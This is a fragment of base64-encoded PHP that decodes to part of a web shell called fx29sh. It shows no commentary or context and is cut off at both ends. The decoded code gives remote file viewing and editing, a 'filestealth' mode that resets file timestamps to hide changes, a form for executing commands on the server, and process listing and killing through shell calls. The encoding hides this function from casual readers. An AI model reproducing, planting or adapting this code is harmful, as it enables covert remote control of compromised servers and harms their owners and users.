VwYWRcIj4iLCJub3RlcGFkIiksYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Y2hhbmdlXCIgYWx0PVwiRWRpdFwiPiIsImVkaXQiKSxhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGFsdD1cIkRvd25sb2FkXCI+IiwiZG93bmxvYWQiKSk7ZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+LjogRmlsZSBWaWV3ZXIgWyIuJGYuIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iKSAiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiJdIDouXG4iO2VjaG8gIjxociBzaXplPTEgbm9zaGFkZT5cbiI7Zm9yZWFjaCgkYXJyIGFzICR0KXtpZigkdFsxIF09PSRyZnQpe2VjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMSBdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxmb250IGNvbG9yPSMzMzY2RkY+Ii4kdFswIF0uIjwvZm9udD48L2E+Ijt9ZWxzZWlmKCR0WzEgXT09JGZ0KXtlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzEgXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj48dT4iLiR0WzAgXS4iPC91PjwvYj48L2E+Ijt9ZWxzZSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxIF0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii4kdFswIF0uIjwvYj48L2E+Ijt9ZWNobyAiICg8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzEgXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImbmV3d2luPTFcIiB0aXRsZT1cIk5ldyBXaW5kb3dcIiB0YXJnZXQ9XCJfYmxhbmtcIj4rPC9hPikgIjt9ZWNobyAiPC9kaXY+XG4iO2lmKCRmdD09ImluZm8iKXtlY2hvICI8YnI+IjtiYXJfaGVhZGVyKCJJbmZvcm1hdGlvbiIpO2VjaG8gIjx0YWJsZSBjbGFzcz1jb250ZW50cz5cbiIuIjx0cj48dGg+UGF0aDwvdGg+PHRkPiIuJGQuJGYuIjwvdGQ+PC90cj5cbiIuIjx0cj48dGg+U2l6ZTwvdGg+PHRkPiIudmlld19zaXplKGZpbGVzaXplKCRkLiRmKSkuIjwvdGQ+PC90cj5cbiIuIjx0cj48dGg+TUQ1PC90aD48dGQ+Ii5tZDVfZmlsZSgkZC4kZikuIjwvdGQ+PC90cj5cbiI7aWYoIWlzX3dpbmRvd3MoKSl7ZWNobyAiPHRyPjx0aD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4iOyRvdz1wb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQuJGYpKTskZ3I9cG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkLiRmKSk7ZWNobyAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkLiRmKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQuJGYpKTt9ZWNobyAiPHRyPjx0aD5QZXJtczwvdGg+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZj0iLnVybGVuY29kZSgkZikuIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9hPjwvdGQ+PC90cj5cbiIuIjx0cj48dGg+Q3JlYXRlIHRpbWU8L3RoPjx0ZD4iLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQuJGYpKS4iPC90ZD48L3RyPlxuIi4iPHRyPjx0aD5BY2Nlc3MgdGltZTwvdGg+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPlxuIi4iPHRyPjx0aD5Nb2RpZnkgdGltZTwvdGg+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPlxuIjtlY2hvICI8dHI+PHRoPkhleER1bXA8L3RoPjx0ZD5cbiIuIlsgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZmdWxsaGV4ZHVtcD0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5GdWxsPC9hPiBdICIuIlsgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZkPSIudXJsZW5jb2RlKCRkKS4iXCI+UHJldmlldzwvYT4gXTxicj5cbiIuIjwvdGQ+PC90cj5cbiIuIjx0cj48dGg+QmFzZTY0PC90aD48dGQ+XG4iLiJbIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkVuY29kZTwvYT4gXSAiLiJbIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTImZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuazwvYT4gXSAiLiJbIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTMmZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuaytxdW90ZXM8L2E+IF0gIi4iWyA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND00JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5EZWNvZGU8L2E+IF0gIi4iPC90ZD48L3RyPlxuIi4iPC90YWJsZT48YnI+XG4iOyRmaT1mb3BlbigkZC4kZiwicmIiKTtpZigkZmkpe2VjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPiI7aWYoQCRmdWxsaGV4ZHVtcCl7ZWNobyAiRnVsbCBIZXhEdW1wIjskc3RyPWZyZWFkKCRmaSxmaWxlc2l6ZSgkZC4kZikpO31lbHNlIHtlY2hvICJIZXhEdW1wIFByZXZpZXciOyRzdHI9ZnJlYWQoJGZpLCRoZXhkdW1wX2xpbmVzKiRoZXhkdW1wX3Jvd3MpO30kbj0wIDskYTA9IjAwMDAwMDAwPGJyPiI7JGExPSIiOyRhMj0iIjtmb3IoJGk9MCA7JGk8c3RybGVuKCRzdHIpOyRpKyspeyRhMS49c3ByaW50ZigiJTAyWCIsb3JkKCRzdHJbJGldKSkuIiAiO3N3aXRjaChvcmQoJHN0clskaV0pKXtjYXNlIDAgOiRhMi49Ijxmb250PjA8L2ZvbnQ+IjticmVhaztjYXNlIDMyIDpjYXNlIDEwIDpjYXNlIDEzIDokYTIuPSIgIjticmVhaztkZWZhdWx0OiRhMi49aHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7fSRuKys7aWYoJG49PSRoZXhkdW1wX3Jvd3MpeyRuPTAgO2lmKCRpKzEgPHN0cmxlbigkc3RyKSl7JGEwLj1zcHJpbnRmKCIlMDhYIiwkaSsxICkuIjxicj4iO30kYTEuPSI8YnI+IjskYTIuPSI8YnI+Ijt9fWVjaG8gIjwvZGl2PlxuIjtlY2hvICI8dGFibGUgY2xhc3M9Y29kZT48dHI+PHRkPiIuJGEwLiI8L3RkPjx0ZD4iLiRhMS4iPC90ZD48dGQ+Ii4kYTIuIjwvdGQ+PC90cj48L3RhYmxlPjxicj5cbiI7fSRoZW5jPSIiOyRlbmNvZGVkPSIiO2lmKCFpc3NldCgkYmFzZTY0KSl7JGJhc2U2ND0iIjt9aWYoJGJhc2U2ND09MSApeyRoZW5jPSJCYXNlNjQgRW5jb2RlIjskZW5jb2RlZD1iYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7fWVsc2VpZigkYmFzZTY0PT0yICl7JGhlbmM9IkJhc2U2NCBFbmNvZGUgKyBDaHVuayI7JGVuY29kZWQ9Y2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpKTt9ZWxzZWlmKCRiYXNlNjQ9PTMgKXskaGVuYz0iQmFzZTY0IEVuY29kZSArIENodW5rICsgUXVvdGVzIjskZW5jb2RlZD1iYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7JGVuY29kZWQ9c3Vic3RyKHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwiJ1xcMCcuXG4iLCRlbmNvZGVkKSwwICwtMiApO31lbHNlaWYoJGJhc2U2ND09NCApeyR0ZXh0PWZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTskZW5jb2RlZD1iYXNlNjRfZGVjb2RlKCR0ZXh0KTskaGVuYz0iPGI+QmFzZTY0IERlY29kZSI7aWYoYmFzZTY0X2VuY29kZSgkZW5jb2RlZCkhPSR0ZXh0KXskaGVuYy49IiAoRmFpbGVkISkiO319aWYoIWVtcHR5KCRlbmNvZGVkKSl7YmFyX2hlYWRlcigkaGVuYyk7ZWNobyAiPHRleHRhcmVhIGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVkKS4iPC90ZXh0YXJlYT4iO2VjaG8gIjxicj5cbiI7fX1lbHNlaWYoJGZ0PT0iaHRtbCIpe2lmKCRuZXd3aW4pe0BvYl9jbGVhbigpO2VjaG8gJHI7ZngyOXNoZXhpdCgpO31lbHNlIHtlY2hvICRyO319ZWxzZWlmKCRmdD09InR4dCIpe2VjaG8gIjxjZW50ZXI+PHRleHRhcmVhIGNvbHM9XCIxMjVcIiByb3dzPVwiMjBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3RleHRhcmVhPjwvY2VudGVyPiI7fWVsc2VpZigkZnQ9PSJpbmkiKXtlY2hvICI8cHJlPiI7dmFyX2R1bXAocGFyc2VfaW5pX2ZpbGUoJGQuJGYsVFJVRSkpO2VjaG8gIjwvcHJlPiI7fWVsc2VpZigkZnQ9PSJwaHBzZXNzIil7ZWNobyAiPHByZT4iOyR2PWV4cGxvZGUoInwiLCRyKTtlY2hvICR2WzAgXS4iPGJyPiI7dmFyX2R1bXAodW5zZXJpYWxpemUoJHZbMSBdKSk7ZWNobyAiPC9wcmU+Ijt9ZWxzZWlmKCRmdD09ImV4ZSIpeyRleHQ9ZXhwbG9kZSgiLiIsJGYpOyRjPWNvdW50KCRleHQpLTEgOyRleHQ9JGV4dFskY107JGV4dD1zdHJ0b2xvd2VyKCRleHQpOyRyZnQ9IiI7Zm9yZWFjaCgkZXhlZnR5cGVzIGFzICRrPT4kdil7aWYoaW5fYXJyYXkoJGV4dCwkdikpeyRyZnQ9JGs7YnJlYWs7fX0kY21kPXN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpO2VjaG8gIjxiPkV4ZWN1dGUgZmlsZTo8L2I+XG4iLiI8Zm9ybSBuYW1lPVwiZl94ZmlsZVwiIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1cInBvc3RcIj5cbiIuIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jbWQ+XG4iLiI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxicj5cbiIuIjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJjbWRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkY21kKSsyICkuIlwiPiBcbiIuIjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IC0gRGlzcGxheSBpbiB0ZXh0LWFyZWFcbiIuIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj48L2Zvcm0+XG4iO31lbHNlaWYoJGZ0PT0ic2RiIil7ZWNobyAiPHByZT4iO3Zhcl9kdW1wKHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHIpKSk7ZWNobyAiPC9wcmU+XG4iO31lbHNlaWYoJGZ0PT0iY29kZSIpe2VjaG8gIjxkaXYgY2xhc3M9Y29kZSBzdHlsZT1cImJhY2tncm91bmQtY29sb3I6ICIuJGhpZ2hsaWdodF9iZy4iXCI+XG4iO2lmKEAkbmV3d2luKXtAb2JfY2xlYW4oKTtoaWdobGlnaHRfZmlsZSgkZC4kZik7ZngyOXNoZXhpdCgpO31lbHNlIHtoaWdobGlnaHRfZmlsZSgkZC4kZik7fWVjaG8gIlxuPC9kaXY+XG4iO31lbHNlaWYoJGZ0PT0ibm90ZXBhZCIpe0BvYl9jbGVhbigpO2hlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L3BsYWluIik7aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIi50eHRcIjsiKTtlY2hvICgkcik7ZXhpdDt9ZWxzZWlmKCRmdD09ImRvd25sb2FkIil7QG9iX2NsZWFuKCk7aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpO2hlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGQuJGYpKTtoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iXCI7Iik7ZWNobyAkcjtleGl0O31lbHNlaWYoJGZ0PT0iaW1nIil7JGluZj1nZXRpbWFnZXNpemUoJGQuJGYpO2lmKCEkbmV3d2luKXtpZihlbXB0eSgkaW1nc2l6ZSkpeyRpbWdzaXplPTIwIDt9JHdpZHRoPSRpbmZbMCBdLzEwMCAqJGltZ3NpemU7JGhlaWdodD0kaW5mWzEgXS8xMDAgKiRpbWdzaXplO2VjaG8gIjxjZW50ZXI+PGI+U2l6ZTo8L2I+ICI7JHNpemVzPWFycmF5KCIxMDAiLCI1MCIsIjIwIik7Zm9yZWFjaCgkc2l6ZXMgYXMgJHYpe2VjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZkPSIudXJsZW5jb2RlKCRkKS4iJmltZ3NpemU9Ii4kdi4iXCI+IjtpZigkaW1nc2l6ZSE9JHYpe2VjaG8gJHY7fWVsc2Uge2VjaG8gIjx1PiIuJHYuIjwvdT4iO31lY2hvICI8L2E+ICZuYnNwOyAiO31lY2hvICI8YnI+PGJyPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbWcmbmV3d2luPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiIHdpZHRoPVwiIi4kd2lkdGguIlwiIGhlaWdodD1cIiIuJGhlaWdodC4iXCI+PC9jZW50ZXI+Ijt9ZWxzZSB7QG9iX2NsZWFuKCk7JGV4dD1leHBsb2RlKCRmLCIuIik7JGV4dD0kZXh0W2NvdW50KCRleHQpLTEgXTtoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kaW5mWyJtaW1lIl0pO3JlYWRmaWxlKCRkLiRmKTtleGl0O319ZWxzZWlmKCRmdD09ImVkaXQiKXtpZighZW1wdHkoJHN1Ym1pdCkpe2lmKCRmaWxlc3RlYWx0aCl7JHN0YXQ9c3RhdCgkZC4kZik7fSRmcD1mb3BlbigkZC4kZiwidyIpO2lmKCEkZnApe2VjaG8gIjxiPkNhbid0IHdyaXRlIHRvIGZpbGUhPC9iPiI7fWVsc2Uge2VjaG8gIjxiPlNhdmVkITwvYj4iO2Z3cml0ZSgkZnAsJGVkaXRfdGV4dCk7ZmNsb3NlKCRmcCk7aWYoJGZpbGVzdGVhbHRoKXt0b3VjaCgkZC4kZiwkc3RhdFs5IF0sJHN0YXRbOCBdKTt9JHI9JGVkaXRfdGV4dDt9fSRyb3dzPWNvdW50KGV4cGxvZGUoIlxyXG4iLCRyKSk7aWYoJHJvd3M8MTAgKXskcm93cz0xMCA7fWVsc2VpZigkcm93cz4zMCApeyRyb3dzPTMwIDt9ZWNobyAiPGZvcm0gbmFtZT1cImZfc2F2ZVwiIGFjdGlvbj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9ZWRpdCZkPSIudXJsZW5jb2RlKCRkKS4iXCIgbWV0aG9kPVwicG9zdFwiPlxuIi4iPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2F2ZVwiPiAiLiI8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJSZXNldFwiPiAiLiI8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsb2NhdGlvbi5ocmVmPSciLmFkZHNsYXNoZXMoJHN1cmwuImFjdD1scyZkPSIuc3Vic3RyKCRkLDAgLC0xICkpLiInO1wiIHZhbHVlPVwiQmFja1wiPjxicj4iLiI8dGV4dGFyZWEgbmFtZT1cImVkaXRfdGV4dFwiIGNvbHM9XCIxMjVcIiByb3dzPVwiIi4kcm93cy4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyKS4iPC90ZXh0YXJlYT5cbiIuIjwvZm9ybT5cbiI7fWVsc2VpZighZW1wdHkoJGZ0KSl7ZWNobyAiPGNlbnRlcj48Yj5NYW51YWxseSBzZWxlY3RlZCB0eXBlIGlzIGluY29ycmVjdC4gSWYgeW91IHRoaW5rLCBpdCBpcyBtaXN0YWtlLCBwbGVhc2Ugc2VuZCB1cyB1cmwgYW5kIGR1bXAgb2YgXCRHTE9CQUxTLjwvYj48L2NlbnRlcj4iO31lbHNlIHtlY2hvICI8Y2VudGVyPjxiPlVua25vd24gZmlsZSB0eXBlICgiLiRleHQuIiksIHBsZWFzZSBzZWxlY3QgdHlwZSBtYW51YWxseS48L2I+PC9jZW50ZXI+Ijt9fWVjaG8gIjwvZGl2PlxuIjt9aWYoJGFjdD09ImQiKXtpZighaXNfZGlyKCRkKSl7ZWNobyAiPGNlbnRlcj48Yj4kZCBpcyBhIG5vdCBhIERpcmVjdG9yeSE8L2I+PC9jZW50ZXI+Ijt9ZWxzZSB7ZWNobyAiPGI+RGlyZWN0b3J5IGluZm9ybWF0aW9uOjwvYj5cbiI7ZWNobyAiPHRhYmxlPlxuIjtpZighaXNfd2luZG93cygpKXtlY2hvICI8dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOyRvdz1wb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQpKTskZ3I9cG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkKSk7JHJvd1tdPSgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJGQpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkZCkpO31lY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj48L2E+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZCkpLiI8L3RkPjwvdHI+PC90YWJsZT4iO319aWYoJGFjdD09InByb2Nlc3NlcyIpe2Jhcl9oZWFkZXIoIi46IFByb2Nlc3NlcyA6LiIpO2lmKCFpc193aW5kb3dzKCkpeyRoYW5kbGVyPSJwcyBhdXgiLigkZ3JlcD8iIHwgZ3JlcCAnIi5hZGRzbGFzaGVzKCRncmVwKS4iJyI6IiIpO31lbHNlIHskaGFuZGxlcj0idGFza2xpc3QiO30kcmV0PWZ4MjlleGVjKCRoYW5kbGVyKTtpZighJHJldCl7ZGlzcF9lcnJvcigiQ2FuJ3QgZXhlY3V0ZSBcIiRoYW5kbGVyXCIhIik7fWVsc2Uge2lmKGVtcHR5KCRwcm9jZXNzZXNfc29ydCkpeyRwcm9jZXNzZXNfc29ydD0kc29ydF9kZWZhdWx0O30kcGFyc2Vzb3J0PXBhcnNlc29ydCgkcHJvY2Vzc2VzX3NvcnQpO2lmKCFpc19udW1lcmljKCRwYXJzZXNvcnRbMCBdKSl7JHBhcnNlc29ydFswIF09MCA7fSRrPSRwYXJzZXNvcnRbMCBdO2lmKCRwYXJzZXNvcnRbMSBdIT0iYSIpeyR5PSIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImFcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfZGVzY1wiIGFsdD1cIkRlc2NcIj48L2E+Ijt9ZWxzZSB7JHk9IiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9hc2NcIiBhbHQ9XCJBc2NcIj48L2E+Ijt9JHJldD1odG1sc3BlY2lhbGNoYXJzKCRyZXQpO2lmKCFpc193aW5kb3dzKCkpe2lmKCRwaWQpe2lmKGlzX251bGwoJHNpZykpeyRzaWc9OSA7fWVjaG8gIlNlbmRpbmcgc2lnbmFsICIuJHNpZy4iIHRvICMiLiRwaWQuIi4uLiAiO2lmKHBvc2l4X2tpbGwoJHBpZCwkc2lnKSl7ZWNobyAiPGI+T0shPC9iPiI7fWVsc2Uge2VjaG8gIjxiPkVSUk9SITwvYj4iO319d2hpbGUoZXJlZygiICAiLCRyZXQpKXskcmV0PXN0cl9yZXBsYWNlKCIgICIsIiAiLCRyZXQpO30kc3RhY2s9ZXhwbG9kZSgiXG4iLCRyZXQpOyRoZWFkPWV4cGxvZGUoIiAiLCRzdGFja1swIF0pO3Vuc2V0KCRzdGFja1swIF0pO2ZvcigkaT0wIDskaTxjb3VudCgkaGVhZCk7JGkrKyl7aWYoJGkhPSRrKXskaGVhZFskaV09IjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMSBdLiJcIj48Yj4iLiRoZWFkWyRpXS4iPC9iPjwvYT4iO319JGhlYWRbJGldPSIiOyRwcmNzPWFycmF5KCk7Zm9yZWFjaCgkc3RhY2sgYXMgJGxpbmUpe2lmKCFlbXB0eSgkbGluZSkpeyRsaW5lPWV4cGxvZGUoIiAiLCRsaW5lKTskbGluZVsxMCBdPWpvaW4oIiAiLGFycmF5X3NsaWNlKCRsaW5lLDEwICkpOyRsaW5lPWFycmF5X3NsaWNlKCRsaW5lLDAgLDExICk7aWYoJGxpbmVbMCBdPT1nZXRfY3VycmVudF91c2VyKCkpeyRsaW5lWzAgXT0nPGZvbnQgY2xhc3M9Im9uIj4nLiRsaW5lWzAgXS4iPC9mb250PiI7fSRsaW5lW109IjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMSBdLiImc2lnPTlcIj48dT5LSUxMPC91PjwvYT4iOyRwcmNzW109JGxpbmU7fX19ZWxzZSB7aWYoQCRwaWQpe2VjaG8gIktpbGxpbmcgUElEICIuJHBpZC4iLi4uICI7ZWNobyBmeDI5ZXhlYygidGFza2tpbGwgL1BJRCAkcGlkIC9GIik7fXdoaWxlKGVyZWcoIiAgIiwkcmV0KSl7JHJldD1zdHJfcmVwbGFjZSgiICAiLCIgIiwkcmV0KTt9d2hpbGUoZXJlZygiPSIsJHJldCkpeyRyZXQ9c3RyX3JlcGxhY2UoIj0iLCIiLCRyZXQpO30kcmV0PWNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOyRzdGFjaz1leHBsb2RlKCJcbiIsJHJldCk7dW5zZXQoJHN0YWNrWzAgXSwkc3RhY2tbMiBdKTskc3RhY2s9YXJyYXlfdmFsdWVzKCRzdGFjayk7JHN0YWNrWzAgXT1zdHJfcmVwbGFjZSgiSW1hZ2UgTmFtZSIsIkltYWdlLU5hbWUiLCRzdGFja1swIF0pOyRzdGFja1swIF09c3RyX3JlcGxhY2UoIlNlc3Npb24gTmFtZSIsIlNlc3Npb24tTmFtZSIsJHN0YWNrWzAgXSk7JHN0YWNrWzAgXT1zdHJfcmVwbGFjZSgiTWVtIFVzYWdlIiwiTWVtb3J5LVVzYWdlIiwkc3RhY2tbMCBdKTskc3RhY2tbMCBdLj0iIEtJTEwiOyRoZWFkPWV4cGxvZGUoIiAiLCRzdGFja1swIF0pOyRzdGFjaz1hcnJheV9zbGljZSgkc3RhY2ssMSApOyRoZWFkPWFycmF5X3ZhbHVlcygkaGVhZCk7aWYoJHBhcnNlc29ydFsxIF0hPSJhIil7JHk9IiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9kZXNjXCIgYWx0PVwiRGVzY1wiPjwvYT4iO31lbHNlIHskeT0iIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2FzY1wiIGFsdD1cIkFzY1wiPjwvYT4iO31pZigkaz5jb3VudCgkaGVhZCkpeyRrPWNvdW50KCRoZWFkKS0xIDt9Zm9yKCRpPTAgOyRpPGNvdW50KCRoZWFkKTskaSsrKXtpZigkaSE9JGspeyRoZWFkWyRpXT0iPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxIF0uIlwiPjxiPiIudHJpbSgkaGVhZFskaV0pLiI8L2I+PC9hPiI7fX0kcHJjcz1hcnJheSgpO3Vuc2V0KCRzdGFja1swIF0pO2ZvcmVhY2goJHN0YWNrIGFzICRsaW5lKXtpZighZW1wdHkoJGxpbmUpKXskbGluZT1leHBsb2RlKCIgIiwkbGluZSk7JGxpbmVbNCBdPXN0cl9yZXBsYWNlKCIuIiwiIiwkbGluZVs0IF0pOyRsaW5lWzQgXT1pbnR2YWwoJGxpbmVbNCBdKSoxMDI0IDt1bnNldCgkbGluZVs1IF0pOyRsaW5lW109IjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMSBdLiJcIj48dT5LSUxMPC91PjwvYT4iOyRwcmNzW109JGxpbmU7fX19JGhlYWRbJGtdPSI8Yj4iLiRoZWFkWyRrXS4iPC9iPiIuJHk7JHY9JHByb2Nlc3Nlc19zb3J0WzAgXTt1c29ydCgkcHJjcywidGFic29ydCIpO2lmKCRwcm9jZXNzZXNfc29ydFsxIF09PSJkIil7JHByY3M9YXJyYXlfcmV2ZXJzZSgkcHJjcyk7fSR0YWI9YXJyYXkoKTskdGFiW109JGhlYWQ7JHRhYj1hcnJheV9tZXJnZSgkdGFiLCRwcmNzKTtlY2hvICI8dGFibGUgY2xhc3M9XCJleHBsb3JlclwiPlxuIjtmb3JlYWNoKCR0YWIgYXMgJGk9PiRrKXtlY2hvICJcdDx0cj4iO2ZvcmVhY2goJGsgYXMgJGo9PiR2KXtpZihpc193aW5kb3dzKCkgYW5kICRpPjAgIGFuZCAkaj09NCApeyR2PXZpZXdfc2l6ZS